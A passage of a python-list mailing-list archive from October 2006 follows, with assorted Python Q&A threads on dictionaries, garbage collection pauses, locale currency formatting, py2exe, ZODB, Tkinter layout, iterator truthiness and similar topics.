References: <mailman.1156.1161765994.11739.python-list@python.org>
Message-ID: <ehn969$9gg$1@cernne03.cern.ch>

Alistair King wrote:
> Hi,
> 
> ive been trying to update a dictionary containing a molecular formula, but seem to be getting this error:
> 
> 
> Traceback (most recent call last):
>  File "DS1excessH2O.py", line 242, in ?
>    updateDS1v(FCas, C, XDS)
> NameError: name 'C' is not defined
> 
> dictionary is: 
> 
> DS1v = {'C': 6, 'H': 10, 'O': 5}

Try DS1v['C'] instead of DS1v[C].

Cheers,
-- 
Roberto Bonvallet


From steve at holdenweb.com  Sun Oct  1 10:48:12 2006
From: steve at holdenweb.com (Steve Holden)
Date: Sun, 01 Oct 2006 15:48:12 +0100
Subject: Is this a bug? Python intermittently stops dead for seconds
In-Reply-To: <32108776.1159713187905.JavaMail.root@elwamui-chisos.atl.sa.earthlink.net>
References: <32108776.1159713187905.JavaMail.root@elwamui-chisos.atl.sa.earthlink.net>
Message-ID: <efokdr$r01$1@sea.gmane.org>

charlie strauss wrote:
> Steve and other good folks who replied:
> 
> I want to clarify that, on my computer, the first instance of the gap occurs way before the memory if filled. (at about 20% of physical ram).  Additionally the process monitor shows no page faults.
> 
>   Yes if you let the as-written demo program  run to completetion (all 20,000 iterations) then on many computers it would not be surprising that your computer eventually goes into forced page swapping at some point.  That would be expected and is not the issue than the one I am concerned with.
> 
> in my case starts glicthing at around iteration 1000.
> 
> 1000(bars) x 100(foos)x(10 integers in array)
> 
> is nominally 
> 100,000 class objects and
> 1,000,000 array elements.
> 
> (note that the array if filled as [1]*10, so there is actually only one "integer", but 10 array elements refering to it, per foo class.)
> 
> 
> However steve may have put his finger on the reason why the duration grows with time.  Here is my current hypothesis.  The design of the program does not have and points where significant amounts of memory are released: all objects have held references till the end.  But prehaps there are some implicitly created objects of the same size created along the way???  For example when I write
> 
> me.memory = [1]*nfoo
> 
> perhaps internally, python is allocating an array of size foo and then __copying__ it into me.memory???  Since there is no reference to the intermediate it would then marked for future garbage collection.   
> 
> If that were true then the memory would have interleaved entities of things to GC and things with references held in me.memory.
> 
> Then to remove these would require GC to scan the entire set of existing objects, which is growing.
> 
> Turning off GC would prevent this.
> 
> 
> In any case I don't think what I'm doing is very unusual.  The original program that trigger my investigation of the bug was doing this:
> 
> foo was an election ballot holding 10 outcomes, and bar was a set of 100 ballots from 100 voting machines, and the total array was holding the ballot sets from a few thousand voting machines.  
> 
> Almost any inventory program is likely to have such a simmilar set of nested array, so it hardly seems unusual.
> 
> 
> 
> 
> 
I think the point you are missing is that the garbage collector is 
triggered from time to time to ensure that no cyclical garbage remains 
uncollected, IIRC. The more data that's been allocated, the longer it 
takes the collector to scan all of memory to do its job.

If you can find a way to avoid the behaviour I'm sure the development 
team would be interested to hear it :-)

I think you'll find that most programs that eat through memory in this 
way will exhibit pretty much the same behaviour. If you *know* your 
program isn't creating data cycles, just turn the GC off and rely on 
reference counting. That won't save you from paging when you eventually 
exhaust physical memory. Nothing can.

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From infotechsys at pivot.net  Wed Oct 18 10:39:47 2006
From: infotechsys at pivot.net (infotechsys at pivot.net)
Date: Wed, 18 Oct 2006 10:39:47 -0400
Subject: Reading a Microsoft access file.
Message-ID: <1161182387.14846.26.camel@Tiredbones.lan>

I googled for the answer but all the answer seem to imply that you
have to have Access installed on your system. I have a file that was
created using Access and I want develop a Python script to
read the file and produce a report. Can this be done, if could you point
me to some doc?
Thanks.
Wayne



From bernard.chhun at gmail.com  Tue Oct 10 23:28:15 2006
From: bernard.chhun at gmail.com (Bernard)
Date: 10 Oct 2006 20:28:15 -0700
Subject: Format a number as currency! I can't find any help on this simple
	problem.
In-Reply-To: <mailman.251.1160535479.11739.python-list@python.org>
References: <mailman.251.1160535479.11739.python-list@python.org>
Message-ID: <1160537295.884864.162200@i3g2000cwc.googlegroups.com>

>>> import locale
>>> locale.setlocale(locale.LC_ALL, 'English_United States.1252')
'English_United States.1252'
>>> conv = locale.localeconv()
>>> x = 1234567.8
>>> locale.format("%d", x, grouping=True)
'1,234,567'
>>> locale.format("%s%.*f", (conv['currency_symbol'], conv['int_frac_digits'], x), grouping=True)
'$1,234,567.80'

Hi Richards,

This works for me. I agree it's a bit complicated compared to C# but it
works. I'd put it in a function if I had to use it.


Richard Kessler wrote:
> I am relatively new to Python.  Love it, but I find things that I can do
> easily in .NET and cannot find a way to do in Python. I need to format a
> number as currency, for example 12343.56 to $12,343.56.
>
> In C# all I need to do is decimal x = 12343.56 then x.ToString("$###,###.00");
>
> I cannot find a way to do this in Python. I must be missing something very
> simple here. I have tried the locale module but it will not put in the commas.
> I hope I do not have to write my own formatting routine...surely one is out
> there and I just can't find it.
>
> Running on XP Pro. Python 2.4.3.
> 
> Thanks much in advance,
> 
> Richard



From steve at REMOVE.THIS.cybersource.com.au  Sat Oct  7 20:41:50 2006
From: steve at REMOVE.THIS.cybersource.com.au (Steven D'Aprano)
Date: Sun, 08 Oct 2006 10:41:50 +1000
Subject: Can't get around "IndexError: list index out of range"
References: <1159913403.234324.209750@e3g2000cwe.googlegroups.com>
	<mailman.1223.1159934114.10491.python-list@python.org>
	<1160179043.266322.311940@i3g2000cwc.googlegroups.com>
	<mailman.1.1160189272.11739.python-list@python.org>
	<1160198110.064741.133700@k70g2000cwa.googlegroups.com>
	<mailman.18.1160209645.11739.python-list@python.org>
	<1160241982.216511.281950@m73g2000cwd.googlegroups.com>
Message-ID: <pan.2006.10.08.00.41.50.353076@REMOVE.THIS.cybersource.com.au>

On Sat, 07 Oct 2006 10:26:22 -0700, MonkeeSage wrote:

> 
> 
> On Oct 7, 3:27 am, Gabriel Genellina <gagsl... at yahoo.com.ar> wrote:
>> The meaning comes from the most common usage.
> 
> I wasn't suggesting that the "in" keyword have a different sematic for
> sequence types. I was just saying that regarding the question whether
> there is anything similar to "dict.has_key / k in dict" for lists, the
> "in" keyword is not semantically analogous.

Are you just making a philosophical point? In which case I agree: *if* you
make the analogy "a dictionary key is analogous to a sequence index",
*then* the operation of "in" isn't semantically analogous between mappings
and sequences. But why should it be?

In both mappings and sequences, "in" tests for membership. But *what* it
tests for membership is different. There's no shame there.


>> Because it's not needed at all: valid sequence indexes are *exactly*
>> range(len(seq)). This is the basic point of being a sequence: when
>> indexes are not contiguous, in fact you have a mapping, not a sequence.
> 
> True. But valid dictionary keys are exactly d.keys(). The has_key
> method is just sugar.


A little bit of history might be useful here. Originally, if you wanted to
test for key membership with a dict, you had three choices:

(1) Easier To Ask Forgiveness Than Permission:

try:
    mapping[key]
except KeyError:
    print "Oops, that's not a key!"


(2) mapping.has_key(key), which inspected the dict's internals to
determine whether key was valid or not.

(3) Build a list of keys, then test whether the key was in the list:

key in mappings.keys()


Obviously all three methods had their disadvantages. The first required
catching an exception, which is expensive, and is less than clear. The
second is a magic method that needs to be remembered by the developer,
and breaks the equivalence of mappings and sequences. The third means
building, and throwing away, a temporary list of keys.

But after types and classes were unified, dicts grew a __contains__
method for subclassing. If you want syntactic sugar, "x in obj" is
"just" syntactic sugar for obj.__contains__(x) (but note the scare quotes
around just: one person's syntactic sugar is another person's essential
syntactic feature).



-- 
Steven.



From steve at holdenweb.com  Sun Oct 22 05:25:43 2006
From: steve at holdenweb.com (Steve Holden)
Date: Sun, 22 Oct 2006 10:25:43 +0100
Subject: A Comparison Of Dynamic and Static Languiges
In-Reply-To: <ehfbpq$r5m$1@sea.gmane.org>
References: <1161455284.563900.320430@m7g2000cwm.googlegroups.com>	<eY$5v#T9GHA.2288@TK2MSFTNGP05.phx.gbl>	<mailman.913.1161469369.11739.python-list@python.org>	<1161474350.522418.13440@i42g2000cwa.googlegroups.com>	<ehf865$him$1@sea.gmane.org>
	<ehfbpq$r5m$1@sea.gmane.org>
Message-ID: <ehfdcm$v5p$1@sea.gmane.org>

Fredrik Lundh wrote:
> Steve Holden wrote:
> 
> 
>>Since network 127 is reserved in its entirety for loopback (local 
>>process) use, it would seem that any DNS name that maps to an address in 
>>that space with the single exception of "localhost" should be treated as 
>>a spammer.
> 
> 
> countries.nerd.dk is a DNS blackhole system that can be used to filter 
> on originating country.  like most other DNSBL systems, it uses loopback 
> addresses to return status codes (in this case, country codes).
> 
(!)

Light goes on. Thanks.

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From larry.bates at websafe.com  Wed Oct 11 10:04:43 2006
From: larry.bates at websafe.com (Larry Bates)
Date: Wed, 11 Oct 2006 09:04:43 -0500
Subject: Experiences with Py2Exe
In-Reply-To: <1160574156.861514.327390@i42g2000cwa.googlegroups.com>
References: <1160574156.861514.327390@i42g2000cwa.googlegroups.com>
Message-ID: <452CF9FB.3000502@websafe.com>

Isaac Rodriguez wrote:
> Hi,
> 
> I am looking for feedback from people that has used or still uses
> Py2Exe. I love to program in python, and I would like to use it to
> write support tools for our development team, but I cannot require
> everyone to install python in their machines, so I was thinking that
> Py2Exe would help on that.
> 
> The support tools I write are mostly command line driven (no GUI), but
> in the future, I would like to write some expert applications that will
> contain GUI. I was thinking on using wxPython for the GUI, so I was
> wondering how well behaves Py2Exe with the wxPython module.
> 
> Other modules I use besides the standard modules are CTypes and the
> Perforce python module p4.py. I try not to use any of the win32 stuff,
> but I can see how I will have to for some utilitites, so if anyone has
> experience with the win32 modules and Py2Exe, any feedback will be
> highly appreciated.
> 
> Thanks,
> 
> Isaac.
> 

I've used py2exe extensively over the last couple of years to package up
everything from console apps to Windows services.  I've found it to work
extremely well and it produces something that is easily distributable on Windows
platform.  In addition to py2exe I also employ Inno Setup
(http://www.jrsoftware.org/isinfo.php) to create a Windows installer for my
applications.  Inno can take care of myriad of installation "stuff" that must be
done to make a Windows app easy to distribute for "Windows users".  This
combination works VERY well.

It takes a little practice, but it works just fine with wxPython, win32all
extensions, ctypes, etc.  If I'm not mistaken, author of ctypes (Thomas Heller)
and py2exe are the same person).  I can't speak to Perforce python module as
I've never used it myself.  Start with a small console app and them move on to
more complex applications.  You may want to take a look at the py2exe newsgroup
(gmane.comp.python.py2exe) for any questions.

-Larry Bates


From chandra82_tech at yahoo.com  Fri Oct  6 19:00:18 2006
From: chandra82_tech at yahoo.com (Chandra)
Date: 6 Oct 2006 16:00:18 -0700
Subject: How to execute a python script in .NET application
Message-ID: <1160175618.029261.43440@i3g2000cwc.googlegroups.com>

Hi,

Is there a way to execute a python script(file) in ASP.NET application
(programmatically)??

Regards,
Chandra



From deets at nospam.web.de  Wed Oct 25 10:47:07 2006
From: deets at nospam.web.de (Diez B. Roggisch)
Date: Wed, 25 Oct 2006 16:47:07 +0200
Subject: batteries included
References: <1161786156.161481.306450@h48g2000cwc.googlegroups.com>
Message-ID: <4q9bnbFlvllvU1@uni-berlin.de>

marc.wyburn at googlemail.com wrote:

> Could someone confirm that modules like socket don't use libraries/
> dlls on a particular OS, they are completly self contained.

They might need DLLs, but if so they ship with the distribution.

Diez


From fredrik at pythonware.com  Tue Oct 10 17:35:04 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Tue, 10 Oct 2006 23:35:04 +0200
Subject: Python component model
In-Reply-To: <H5UWg.5500$Lv3.4355@newsread1.news.pas.earthlink.net>
References: <W5wWg.7118$Y24.2917@newsread4.news.pas.earthlink.net>	<452aeed2$0$8740$ed2619ec@ptn-nntp-reader02.plus.net>	<UVDWg.12152$UG4.2954@newsread2.news.pas.earthlink.net>	<1160467516.602655.169920@c28g2000cwb.googlegroups.com>	<mailman.186.1160469729.11739.python-list@python.org>	<OZMWg.12229$UG4.10400@newsread2.news.pas.earthlink.net>	<mailman.209.1160486725.11739.python-list@python.org>	<zVPWg.9708$o71.4217@newsread3.news.pas.earthlink.net>	<mailman.228.1160498957.11739.python-list@python.org>	<1160502889.153272.197250@m73g2000cwd.googlegroups.com>
	<H5UWg.5500$Lv3.4355@newsread1.news.pas.earthlink.net>
Message-ID: <egh3m8$opl$1@sea.gmane.org>

Edward Diener No Spam wrote:

> I agree and I would want to have a component event model for Python that 
> is much superior to the JavaBeans event model in ease of use.

isn't that an old Perlis quote?  "I want a component event model in 
which I need only say what I wish done"?

</F>



From jmdeschamps at gmail.com  Wed Oct  4 13:10:42 2006
From: jmdeschamps at gmail.com (jmdeschamps at gmail.com)
Date: 4 Oct 2006 10:10:42 -0700
Subject: Tk: filling a frame with a widget
In-Reply-To: <mailman.1254.1159962946.10491.python-list@python.org>
References: <mailman.1254.1159962946.10491.python-list@python.org>
Message-ID: <1159981842.754902.121460@h48g2000cwc.googlegroups.com>


Paolo Pantaleo wrote:
> I have this code
>
> from Tkinter import *
>
> root=Tk()
> Button(root).pack(fill=BOTH)
> root.mainloop()
>
> I would expect the button filling all the client draw area of the
> Frame, but when I resize the root window the button becomes wider, but
> not higher ( I get some empty space under the button). How could set
> the button to fill always all the space available?
>
> Well maybe some other solution exists, since my problem is this:
>
> I have a resizable window and i want to keep it filled with a Canvas
> displaying an image (PhotoImage). Can I get the in some way the size
> of the clien draw area of the window containig the canvas?
>
> Thnx
> PAolo
>
> --
> if you have a minute to spend please visit my photogrphy site:
> http://mypic.co.nr

you also need to expand it as in
from Tkinter import *

root=Tk()
Button(root).pack(expand=1,fill=BOTH)  #HERE use expand=1 as extra
option
root.mainloop()  

jean-marc



From vd12005 at yahoo.fr  Mon Oct 23 13:39:09 2006
From: vd12005 at yahoo.fr (vd12005 at yahoo.fr)
Date: 23 Oct 2006 10:39:09 -0700
Subject: ZODB for inverted index?
Message-ID: <1161625143.942199.327550@i3g2000cwc.googlegroups.com>

Hello,

While playing to write an inverted index (see:
http://en.wikipedia.org/wiki/Inverted_index), i run out of memory with
a classic dict, (i have thousand of documents and millions of terms,
stemming or other filtering are not considered, i wanted to understand
how to handle GB of text first). I found ZODB and try to use it a bit,
but i think i must be misunderstanding how to use it even after reading
http://www.zope.org/Wikis/ZODB/guide/node3.html...

i would like to use it once to build my inverted index, save it to disk
via a FileStorage,

and then reuse this previously created inverted index from the
previously created FileStorage, but it looks like i am unable to
reread/reload it in memory, or i am missing how to do it...

firstly each time i use the code below, it looks everything is added
another time, is there a way to rather rewrite/replace it? and how am i
suppose to use it after an initial creation? i thought that using the
same FileStorage would reload my object inside dbroot, but it doesn't.
i was also interested by the cache mecanisms, are they transparent?

or maybe do you know a good tutorial to understand ZODB?

thx for any help, regards.

here is a sample code :

import sys
from BTrees.OOBTree import OOBTree
from BTrees.OIBTree import OIBTree
from persistent import Persistent

class IDF2:
    def __init__(self):
        self.docs = OIBTree()
        self.idfs = OOBTree()
    def add(self, term, fromDoc):
        self.docs[fromDoc] = self.docs.get(fromDoc, 0) + 1
        if not self.idfs.has_key(term):
            self.idfs[term] = OIBTree()
        self.idfs[term][fromDoc] = self.idfs[term].get(fromDoc, 0) + 1
    def N(self, term):
        "total number of occurrences of 'term'"
        return sum(self.idfs[term].values())
    def n(self, term):
        "number of documents containing 'term'"
        return len(self.idfs[term])
    def ndocs(self):
        "number of documents"
        return len(self.docs)
    def __getitem__(self, key):
        return self.idfs[key]
    def iterdocs(self):
        for doc in self.docs.iterkeys():
            yield doc
    def iterterms(self):
        for term in self.idfs.iterkeys():
            yield term

storage = FileStorage.FileStorage("%s.fs" % sys.argv[1])
db = DB(storage)
conn = db.open()
dbroot = conn.root()
if not dbroot.has_key('idfs'):
    dbroot['idfs'] = IDF2()
idfs = dbroot['idfs']

import transaction
for i, line in enumerate(open(sys.argv[1])):
    # considering doc is linenumber...
    for word in line.split():
        idfs.add(word, i)
# Commit the change
transaction.commit()

---
i was expecting :

storage = FileStorage.FileStorage("%s.fs" % sys.argv[1])
db = DB(storage)
conn = db.open()
dbroot = conn.root()
print dbroot.has_key('idfs')

=> to return True



From sjdevnull at yahoo.com  Mon Oct 30 13:27:46 2006
From: sjdevnull at yahoo.com (sjdevnull at yahoo.com)
Date: 30 Oct 2006 10:27:46 -0800
Subject: Calling GNU/make from a Python Script
In-Reply-To: <mailman.1494.1162223799.11739.python-list@python.org>
References: <45462091@news.bezeqint.net><ei54ap$te0$1@sea.gmane.org>
	<mailman.1494.1162223799.11739.python-list@python.org>
Message-ID: <1162232865.989333.119340@h48g2000cwc.googlegroups.com>

skip at pobox.com wrote:
> Fredrik> build_dir = "path/to/makefile"
>
>     Fredrik> cwd = os.getcwd() # get current directory
>     Fredrik> try:
>     Fredrik>      os.chdir(build_dir)
>     Fredrik>      os.system("make")
>     Fredrik> finally:
>     Fredrik>      os.chdir(cwd)
>
> Or even:
>
>     os.system("make -C %s" % build_dir)

OP specified GNU make, so that works fine, but make sure you're not
going to need to use it with another make before settling on that
alternative.  Frederik's works with more versions of make.



From rupole at hotmail.com  Sat Oct 28 23:31:23 2006
From: rupole at hotmail.com (Roger Upole)
Date: Sat, 28 Oct 2006 23:31:23 -0400
Subject: Sending mouse events on Windows
References: <1162029636.137310.103130@f16g2000cwb.googlegroups.com>
Message-ID: <1162092900_1575@sp6iad.superfeed.net>


Radu Ciurlea wrote:
> Hello,
> I want to write a program that can generate mouse events. I'd like to
> actually be able to control the pointer and generate clicks. Any
> pointers on modules I could use for doing this? Any suggestions are
> welcome.
> tia
>
> Radu

Take a look at win32api.mouse_event.

       Roger





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From hg at nospam.com  Tue Oct 17 08:49:26 2006
From: hg at nospam.com (hg)
Date: Tue, 17 Oct 2006 07:49:26 -0500
Subject: Newbie: datetime conversion question
In-Reply-To: <1161089016.309925.94840@b28g2000cwb.googlegroups.com>
References: <1161089016.309925.94840@b28g2000cwb.googlegroups.com>
Message-ID: <yt4Zg.28313$Go3.7157@dukeread05>

kevin evans wrote:
> Hi,
> I'm trying to convert some code from Ruby to Python, specifically..
> 
> timestamp = "%08x" % Time.now.to_i
> 
> Make a hex version of the current timestamp. Any ideas how best to do
> this in python gratefully received..
> 


how about

import time
"%08X"% (int)(time.mktime(time.localtime()))

hg


From pavlovevidence at gmail.com  Thu Oct 26 23:50:20 2006
From: pavlovevidence at gmail.com (Carl Banks)
Date: 26 Oct 2006 20:50:20 -0700
Subject: Truth value of iterators [was: question about True values)
In-Reply-To: <mailman.1318.1161918842.11739.python-list@python.org>
References: <grO%g.152$1n3.4134@news.tufts.edu>
	<17727.47016.632530.720950@montanaro.dyndns.org>
	<ehoqhe$6iq$3@sea.gmane.org> <ehp32i$u1$1@sea.gmane.org>
	<7.0.1.0.0.20061025224858.05f2ea40@yahoo.com.ar>
	<mailman.1232.1161829348.11739.python-list@python.org>
	<7xfydbhkso.fsf@ruckus.brouhaha.com>
	<7.0.1.0.0.20061026144722.04641dd8@yahoo.com.ar>
	<mailman.1302.1161903610.11739.python-list@python.org>
	<1161917196.676362.318480@h48g2000cwc.googlegroups.com>
	<87k62mea71.fsf_-_@benfinney.id.au>
	<mailman.1318.1161918842.11739.python-list@python.org>
Message-ID: <1161921020.608711.167400@e3g2000cwe.googlegroups.com>


Robert Kern wrote:
> Ben Finney wrote:
>
> > Would it make sense to *define* a truth value for iterators? Or at
> > least to enable those that *are* able to say "I'm empty" to do so in a
> > way that boolean contexts can interpret as "false"?
> >
> > Perhaps allowing (but not requiring) an iterator object to grow a
> > 'len' method is the simplest way.
>
> And indeed, they are already allowed to do so.
>
> Python 2.4.1 (#2, Mar 31 2005, 00:05:10)
> Type "copyright", "credits" or "license" for more information.
>
> In [1]: len(iter(()))
> Out[1]: 0
>
> In [2]: bool(iter(()))
> Out[2]: False

And indeed, the built-in iterators have already backed away from this
idea.

Python 2.5c2 (r25c2:51859, Sep 13 2006, 09:50:32)
[GCC 4.1.2 20060814 (prerelease) (Debian 4.1.1-11)] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> len(iter(()))
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
TypeError: object of type 'tupleiterator' has no len()
>>> bool(iter(()))
True


Carl Banks



From user0360 at peoplepc.com  Wed Oct  4 01:11:53 2006
From: user0360 at peoplepc.com (John Smith)
Date: 3 Oct 2006 22:11:53 -0700
Subject: What kind of program is this
Message-ID: <1159938713.660421.276860@m7g2000cwm.googlegroups.com>

what kind of program is this?
I would like to know.

import win32api
from win32api import *
import win32con
from win32con import *; from string   \
import split

aJAPy = 'C:/Program Files/Python/Lib/ \
JAPy.py'
if split(aJAPy,'.')[-1] in ('py','pyw'\
):
    aJAPy = "%s %s %s" % ('J' 'A' 'Py'\
    ,'','')

aStyle = win32con.MB_ICONEXCLAMATION
aLanguage = win32api.MAKELANGID       \
(LANG_NEUTRAL,SUBLANG_DEFAULT)

win32api.MessageBox(0,'Just Another ' \
+ 'Pythoneer',aJAPy,aStyle,aLanguage)



From rogue_pedro at yahoo.com  Fri Oct 20 17:10:02 2006
From: rogue_pedro at yahoo.com (Simon Forman)
Date: 20 Oct 2006 14:10:02 -0700
Subject: I like python.
References: <mailman.824.1161333065.11739.python-list@python.org>
	<mn.a5177d6a3d962dfa.46195@XX.XmclaveauX.com>
	<mailman.871.1161375940.11739.python-list@python.org>
Message-ID: <1161378602.320148.148600@b28g2000cwb.googlegroups.com>

Fidel wrote:
> Renaming the file doesn't work. I am on windows...

Are you sure?  Double-clicking on a *.pyw script file really brings up
a window?  Is it a GUI window or a console window?  I ask because if
it's a console window and you're really clicking on a .pyw file then it
really should run without opening the console window.  If not then
there might be some problem with your python installation.  But it's
much more likely that you, say, copied the script and renamed the copy
but then accidentally clicked on the old script.

> There is a specific
> line of code that tells python not to bother even opening a window. of

How do you know this?


Peace,
~Simon



From __peter__ at web.de  Wed Oct  4 02:30:45 2006
From: __peter__ at web.de (Peter Otten)
Date: Wed, 04 Oct 2006 08:30:45 +0200
Subject: What kind of program is this
References: <1159938713.660421.276860@m7g2000cwm.googlegroups.com>
	<IlIUg.4802$Y24.4643@newsread4.news.pas.earthlink.net>
Message-ID: <efvkb9$mrs$00$1@news.t-online.com>

Dennis Lee Bieber wrote:

> ##aJAPy?=?"%s?%s?%s"?%?('J'?'A'?'Py','','')
> #???That?should?fail?--?three?format?codes,?and?five?output?values

No. 'JAPy' is  a single string, oddly written:

>>> 'J' 'A' 'Py'
'JAPy'

Peter


From tiarno at sas.com  Tue Oct  3 11:07:22 2006
From: tiarno at sas.com (Tim Arnold)
Date: Tue, 3 Oct 2006 11:07:22 -0400
Subject: php and python: how to unpickle using PHP?
References: <4521721B.9040002@vtxmail.ch>
	<mailman.1123.1159824627.10491.python-list@python.org>
	<1159825509.493262.11490@h48g2000cwc.googlegroups.com>
Message-ID: <eftuba$3ue$1@foggy.unx.sas.com>


<bearophileHUGS at lycos.com> wrote in message 
news:1159825509.493262.11490 at h48g2000cwc.googlegroups.com...
> Ted Zeng:
>> I store some test results into a database after I use python
>> To pickle them (say, misfiles=['file1','file2'])
>> Now I want to display the result on a web page which uses PHP.
>> How could the web page unpickle the results and display them?
>> Is there a PHP routine that can do unpickle ?
>
> Instead of pickling, maybe you can save the data from python in json
> format:
> http://www.json.org/
> Then you can read it from PHP.

wddx format is a workable solution as well

http://pyxml.sourceforge.net/
plus
http://us2.php.net/wddx




From duncan.booth at invalid.invalid  Thu Oct  5 04:03:04 2006
From: duncan.booth at invalid.invalid (Duncan Booth)
Date: 5 Oct 2006 08:03:04 GMT
Subject: A Universe Set
References: <slrnei7icb.gim.grahn+nntp@frailea.sa.invalid>
	<mailman.1298.1159999185.10491.python-list@python.org>
Message-ID: <Xns98535C16ED0A9duncanbooth@127.0.0.1>

Wildemar Wildenburger <wildemar at freakmail.de> wrote:

> Jorgen Grahn wrote:
>> - the wildcard object, which compares equal to everything else
>> - infinite xrange()s
>> - the black hole function 'def f(*args): pass'
>> - the identity function 'def f(x): return x'
> 
> Any use cases for these?
> 

I guess the first one could be useful if you want to compare two data 
structures but prune part of the structure in the comparison (e.g. in a 
unit test assertion). So not forgetting that this only works when the 
wildcard is on the left of the comparison:

>>> class DontCareClass(object):
	def __eq__(self, other):
		return True

	
>>> dontcare = DontCareClass()
>>> [1, dontcare, 3]==[1, 2, 3]
True
>>> [1, dontcare, 3]==[1, 4, 3]
True
>>> [1, dontcare, 3]==[1, 4, 2]
False

I think for more general use though it's a non-starter. If Python had it 
builtin it should compare equal in *all* situations and what on earth 
should aDict[dontcare] do?

I can think of one use for a black hole function, but it is very specific. 
It would be kind of nice to have a variation on 'super' which traps 
AttributeError and returns the black hole instead, or perhaps just an 
optional third argument for a default to return (c.f. dict.get). So you 
could write:

class C(object):
	def method(self, arg):
		super(C, self, blackhole).method(arg)
		... whatever ...

and method would call any base class definition of method but not care if 
there isn't one. The alternative to this is either to catch and ignore the 
exception (which is a pain), or better to create a dummy base class which 
implements the interface but doesn't propagate the calls.

I suppose the same argument could be made for any pattern of calling the 
result of getattr when the attribute might not exist. Replace:

    m = getattr(obj, key, None)
    if m is not None:
       m(something)
or:

   if hasattr(obj, 'somekey'):
       obj.somekey(whatever)

with:

    getattr(obj, key, blackhole)(something)

The catch here is that the current pattern often has an 'else' clause as 
well and you can't replace those ones with blackhole.



From jjl at pobox.com  Mon Oct  9 17:04:21 2006
From: jjl at pobox.com (John J. Lee)
Date: Mon, 09 Oct 2006 21:04:21 GMT
Subject: Names changed to protect the guilty
References: <eg6opn$7oj$1@panix3.panix.com> <877izb1vwe.fsf@pobox.com>
	<eg9qne$82j$1@panix3.panix.com>
Message-ID: <873b9xjj56.fsf@pobox.com>

aahz at pythoncraft.com (Aahz) writes:
[...]
> >I think I was reading the same code recently (epydoc?) and was also
> >momentarily horrified ;-) until I realized that it was quite
> >deliberately using three-valued logic (True, False, None) for some
> >presumably-sensible reason.  Since None is false, they had to use
> >"is".  So, given the need for three-valued logic, it's not as silly as
> >it looks.
> 
> My take is that even in that case, one should use "is" only with None.
> There is too much ground for bugs with True/False, particularly if you
> either intend to work across version *or* you might possibly accept a
> user's object (because *they* might be working across versions and
> therefore returning 1/0 instead of True/False).  I think it's safest to
> simply ban this idiom.  No exceptions, never.

I tend to agree -- I think I'd define my own constants if I wanted a
three-valued logic for use with "is".


John


From deets at nospam.web.de  Thu Oct 19 11:52:36 2006
From: deets at nospam.web.de (Diez B. Roggisch)
Date: Thu, 19 Oct 2006 17:52:36 +0200
Subject: Can I use decorators to manipulate return type or create methods?
In-Reply-To: <1161265429.237110.43380@m73g2000cwd.googlegroups.com>
References: <1161265429.237110.43380@m73g2000cwd.googlegroups.com>
Message-ID: <4ppla2Fit83qU1@uni-berlin.de>

WakeBdr schrieb:
> I'm writing a class that will query a database for some data and return
> the result to the caller.  I need to be able to return the result of
> the query in several different ways: list, xml, dictionary, etc.  I was
> wondering if I can use decorators to accomplish this.
> 
> For instance, I have the following method
> 
> def getUsers(self, params):
>     return users.query(dbc)
> 
> To get the appropriate return types, I also have these methods.  I have
> these convenience methods for every query method in my class.
> 
> def getUsersAsXML(self, params):
>     return self._toXML(self.getUsers(params))
> def getUsersAsDict(self, params):
>     return self._toDict(self.getUsers(params))
> def getUsersAsList(self, params):
>     return self._toList(self.getUsers(params))
> 
> Instead of creating these three methods for every query method, is
> there a way to use decorators to manipulate the return type.  I'd still
> like to have the caller use getUsersAsXML, I just don't want to write
> the AsXML methods for every query method.  So the decorator would
> essentially create the convenience methods instead of me coding them.
> 
> One solution that I don't want to use is passing a variable into the
> query method that determines the return type.  This is what I don't
> want to do.
> def getUsers(self, params, returnType):
> 
> Any ideas on how I can accomplish this?

Use a metaclass.

class Magic(type):
     def __new__(cls, name, bases, d):
         for name, function in d.items():
             try:
                 function._marked
                 def toXML(self, *args, **kwargs):
                     return self._toXML(function(self, *args, **kwargs))
                 def toFOO(self, *args, **kwargs):
                     return self._toFOO(function(self, *args, **kwargs))
                 d[name + "XML"] = toXML
                 d[name + "FOO"] = toFOO
             except AttributeError:
                 pass
         return type(name, bases, d)


def mark(f):
     f._marked = True
     return f

class MyClass(object):
     __metaclass__ = Magic

     def _toXML(self, value):
         return "Look Ma, its XML! %r" % value

     def _toFOO(self, value):
         return "Look Ma, its FOO! %r" % value


     @mark
     def someMethod(self):
         return "Its the data, son"


o = MyClass()

print o.someMethod()
print o.someMethodXML()
print o.someMethodFOO()



Diez


From johnjsal at NOSPAMgmail.com  Wed Oct 25 15:19:59 2006
From: johnjsal at NOSPAMgmail.com (John Salerno)
Date: Wed, 25 Oct 2006 19:19:59 GMT
Subject: question about True values
In-Reply-To: <7x4ptsi544.fsf@ruckus.brouhaha.com>
References: <grO%g.152$1n3.4134@news.tufts.edu>
	<7x4ptsi544.fsf@ruckus.brouhaha.com>
Message-ID: <zNO%g.154$1n3.3672@news.tufts.edu>

Paul Rubin wrote:

> No.  True and False are boolean values, where booleans are a different
> data type from strings, just like strings are different from integers.
> 
>   >>> if s:
> 	print 'hi'
> 
> converts s to a boolean during evaluation.


Oh!!! I get it now! I was thinking that

if s

was the same as

if s == True

because I know sometimes you can write if statements this way (though 
it's wordy). But what I didn't realize was that in the cases I was 
thinking of, 's' was an expression that evaluated to a boolean value, 
not an actual value of some other type!

So I suppose

if (10 > 5)

would be the same as

if (10 > 5) == True

because (10 > 5) does evaluate to "True".


From hanumizzle at gmail.com  Fri Oct  6 05:56:19 2006
From: hanumizzle at gmail.com (hanumizzle)
Date: Fri, 6 Oct 2006 05:56:19 -0400
Subject: What value should be passed to make a function use the default
	argument value?
In-Reply-To: <slrneic807.55m.apardon@rcpc42.vub.ac.be>
References: <1159906617.790518.323860@m7g2000cwm.googlegroups.com>
	<slrnei73f7.55m.apardon@rcpc42.vub.ac.be>
	<eg03un$se8$1@news.albasani.net>
	<slrnei75t2.55m.apardon@rcpc42.vub.ac.be>
